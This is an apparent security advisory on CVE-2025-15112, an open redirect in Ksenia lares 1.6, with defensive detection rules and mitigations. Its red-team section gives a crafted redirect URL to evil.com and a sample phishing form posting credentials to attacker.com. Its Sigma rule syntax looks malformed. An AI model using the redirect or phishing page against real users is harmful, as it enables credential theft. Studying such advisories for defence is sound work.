CVE-2025-15112

Executive Summary

CVE-2025-15112 is a URL redirection vulnerability (Open Redirect) identified in Ksenia Security's lares legacy model, version 1.6. The flaw resides in the cmdOk.xml script, where the redirectPage GET parameter is not properly validated. An attacker can craft a malicious link hosted on a trusted domain (the Ksenia device) that, when clicked by an authenticated user, redirects them to an arbitrary external website. This can be leveraged for phishing attacks, credential harvesting, or malware distribution, as the initial link appears legitimate.

This vulnerability is classified under CWE-601 (URL Redirection to Untrusted Site). The CVSS v3.1 score is 5.4 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, no privileges required, but requiring user interaction. The impact is limited to confidentiality and integrity of user data, with no direct system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a physical security device (Ksenia Security lares legacy model). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed to trigger the redirect.
• User Interaction (UI): Required – The victim must click the crafted link.
• Scope (S): Changed – The redirect can lead to a different security domain.
• Confidentiality (C): Low – Potential for information disclosure via phishing.
• Integrity (I): Low – The redirect can modify user-visible content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the vulnerability itself does not allow direct system compromise, it is a powerful enabler for social engineering attacks. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the public nature of the vulnerability increases risk.

Deep Dive & Mechanics

The vulnerability exists in the cmdOk.xml script, which is part of the Ksenia Security lares legacy model firmware (version 1.6). This script handles user redirection after certain actions (e.g., login, configuration changes). The redirectPage GET parameter is used to specify the target URL for the redirect.

Root Cause: The application does not validate or sanitize the redirectPage parameter. It accepts any URL, including external domains, without checking if it is a legitimate internal resource. This allows an attacker to inject a malicious URL.

Attack Flow:

1. An attacker identifies a Ksenia Security lares device (e.g., via Shodan).
2. The attacker crafts a URL like: https://victim-device/cmdOk.xml?redirectPage=https://evil.com/phishing
3. The attacker sends this link to an authenticated user (e.g., via email or social media).
4. The user, trusting the domain, clicks the link.
5. The device processes the request and redirects the user to https://evil.com/phishing.
6. The attacker can then host a fake login page to steal credentials or deliver malware.

Why It Matters: The redirect originates from a trusted domain (the Ksenia device), making it highly effective for phishing. Users are more likely to trust a link pointing to their own security system.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The cmdOk.xml script likely contains logic similar to:

Vulnerable Code (Conceptual):

<?php
$redirect = $_GET['redirectPage'];
header("Location: " . $redirect);
exit;
?>

Patched Code (Conceptual):

<?php
$redirect = $_GET['redirectPage'];
$allowed_hosts = ['localhost', '127.0.0.1', 'device.local'];
$parsed_url = parse_url($redirect);
if (in_array($parsed_url['host'], $allowed_hosts)) {
    header("Location: " . $redirect);
} else {
    header("Location: /default.php");
}
exit;
?>

The patched version validates the redirect target against a whitelist of allowed hosts. Without a vendor patch, users must implement mitigations manually.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Ksenia Security lares device (version 1.6) on the network.
• A web server to host the phishing page (e.g., evil.com).

Exploit Steps:

1. Identify the target device (e.g., via Shodan or network scan).
2. Craft the malicious URL:

   https://<target-device>/cmdOk.xml?redirectPage=https://evil.com/phishing
   

3. Send the link to an authenticated user (e.g., via email with social engineering).
4. Host a phishing page on evil.com that mimics the Ksenia login interface.
5. Capture credentials or session tokens when the user submits the form.

Example Phishing Page (HTML):

<!DOCTYPE html>
<html>
<head><title>Ksenia Security - Login</title></head>
<body>
<form action="https://attacker.com/capture" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
</form>
</body>
</html>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual redirectPage parameters containing external domains.
2. Implement a web application firewall (WAF) rule to block requests with redirectPage pointing to non-internal IPs.
3. Conduct user awareness training to recognize phishing links, even from trusted domains.

Lab Setup for Testing:

• Use a virtualized Ksenia lares device (if available) or simulate the vulnerable script.
• Set up a local web server with the vulnerable cmdOk.xml script.
• Use a tool like Burp Suite to intercept and modify the redirectPage parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cmdOk.xml with a redirectPage parameter containing an external domain.
  • Outbound connections from the Ksenia device to unknown external IPs (if the redirect is followed by the device itself, though typically the client follows it).
• Log IOCs:
  • Web server logs showing GET /cmdOk.xml?redirectPage=https://evil.com/... entries.
• File IOCs:
  • No specific file-based IOCs, as this is a logic vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_15112_Open_Redirect {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15112 in Ksenia Security lares"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15112"
    strings:
        $cmdOk = "/cmdOk.xml" ascii wide nocase
        $redirect = "redirectPage=" ascii wide nocase
        $http = "http://" ascii wide nocase
        $https = "https://" ascii wide nocase
    condition:
        all of ($cmdOk, $redirect) and any of ($http, $https)
}

Sigma Rule

title: CVE-2025-15112 - Ksenia Security lares Open Redirect
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /cmdOk.xml with a redirectPage parameter pointing to an external domain.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/cmdOk.xml?redirectPage="
    filter:
        cs-uri-query|contains: "redirectPage=http://" or "redirectPage=https://"
    condition: selection and filter
falsepositives:
    - Legitimate redirects to internal resources (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15112 - Ksenia Security lares Open Redirect"; flow:to_server,established; content:"/cmdOk.xml"; http_uri; content:"redirectPage="; http_uri; pcre:"/redirectPage=https?:\/\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict access to the cmdOk.xml script if not required.
2. Implement a reverse proxy (e.g., Nginx, Apache) to validate the redirectPage parameter against a whitelist of allowed internal URLs.
3. Apply a WAF rule to block requests with redirectPage containing external domains.

Long-term Fix:

• Contact Ksenia Security for an official patch. Since the status is UNKNOWN/UNPATCHED, consider upgrading to a newer model or firmware version if available.
• If the device is end-of-life, replace it with a supported alternative.

User Awareness:

• Train users to verify URLs before clicking, even if they appear to come from trusted devices.
• Implement multi-factor authentication (MFA) to reduce the impact of credential theft.

Valters IT